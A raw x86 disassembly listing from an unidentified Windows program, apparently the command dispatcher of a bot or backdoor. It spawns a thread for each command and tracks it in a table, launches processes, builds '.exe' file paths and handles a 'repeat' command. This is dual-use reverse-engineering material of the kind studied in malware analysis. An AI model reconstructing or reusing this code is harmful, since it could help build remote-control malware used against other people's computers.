loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26A0BD2h
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2670323h
		nop
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aSbrsfgf	; "sbrsfgf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	near ptr 26A0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 26803B2h


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
